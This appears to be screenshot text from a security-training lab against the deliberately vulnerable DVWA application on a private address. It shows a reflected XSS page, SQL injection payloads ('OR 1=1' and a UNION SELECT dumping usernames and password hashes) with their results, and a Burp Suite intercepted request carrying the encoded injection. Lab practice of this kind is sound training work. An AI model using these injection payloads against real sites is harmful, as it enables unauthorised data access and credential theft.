DVWA

Vulnerability: Reflected Cross Site Scripting (XSS)

| Home |
| Instructions |
| Setup |

| Brute Force |
| Command Execution |
| CSRF |
| File Inclusion |
| SQL Injection |
| SQL Injection (Blind) |
| Upload |
| XSS reflected |
| XSS stored |

| DVWA Security |
| PHP Info |
| About |

What's your name?

[   ] Submit

Hello *epicode*

More info

http://ha.ckers.org/xss.html
http://en.wikipedia.org/wiki/Cross-site_scripting
http://www.cgisecurity.com/xss-faq.html

Show Apps

DVWA

Vulnerability: SQL Injection

| Home |
| Instructions |
| Setup |

| Brute Force |
| Command Execution |
| CSRF |
| File Inclusion |
| SQL Injection |
| SQL Injection (Blind) |
| Upload |
| XSS reflected |
| XSS stored |

| DVWA Security |
| PHP Info |
| About |

User ID:

[   ] Submit

```
ID: ' OR '1'='1
First name: admin
Surname: admin

ID: ' OR '1'='1
First name: Gordon
Surname: Brown

ID: ' OR '1'='1
First name: Hack
Surname: Me

ID: ' OR '1'='1
First name: Pablo
Surname: Picasso

ID: ' OR '1'='1
First name: Bob
Surname: Smith
```

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn Sett

Intercept HTTP history WebSockets history Proxy settings

Request to http://192.168.49.101:80

Forward Drop Intercept is on Action Open browser Add notes HTTP/1

Pretty Raw Hex

```
1  GET /dvwa/vulnerabilities/sqli/?id=%27+OR+%27%27%3D%271&Submit=Submit HTTP/1.1
2  Host: 192.168.49.101
3  Cache-Control: max-age=0
4  Upgrade-Insecure-Requests: 1
5  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
6  Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7  Referer: http://192.168.49.101/dvwa/vulnerabilities/sqli/
8  Accept-Encoding: gzip, deflate, br
9  Accept-Language: en-US,en;q=0.9
10 Cookie: security=low; PHPSESSID=42cfccc53ec50f145286785a2e6b3624
11 Connection: close
12
13
```

Inspector

Request attributes 2

Request query parameters 2

Request body parameters 0

Request cookies 2

Request headers 10

---

ux Damn Vulnerable Web A +

192.168.49.101/dvwa/vulnerabilities/sqli/?id='UNION+SELECT+user%2C+password+FROM+users%2

li Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Nessus Essentials / Fo…

DVWA

Home
Instructions
Setup

Brute Force
Command Execution
CSRF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
About

Logout

Vulnerability: SQL Injection

User ID:

[   ] Submit

```
ID: 'UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

More info

http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://en.wikipedia.org/wiki/SQL_injection
http://www.unixwiz.net/techtips/sql-injection.html

Username: admin
Security Level: low
PHPIDS: disabled

View Source View Help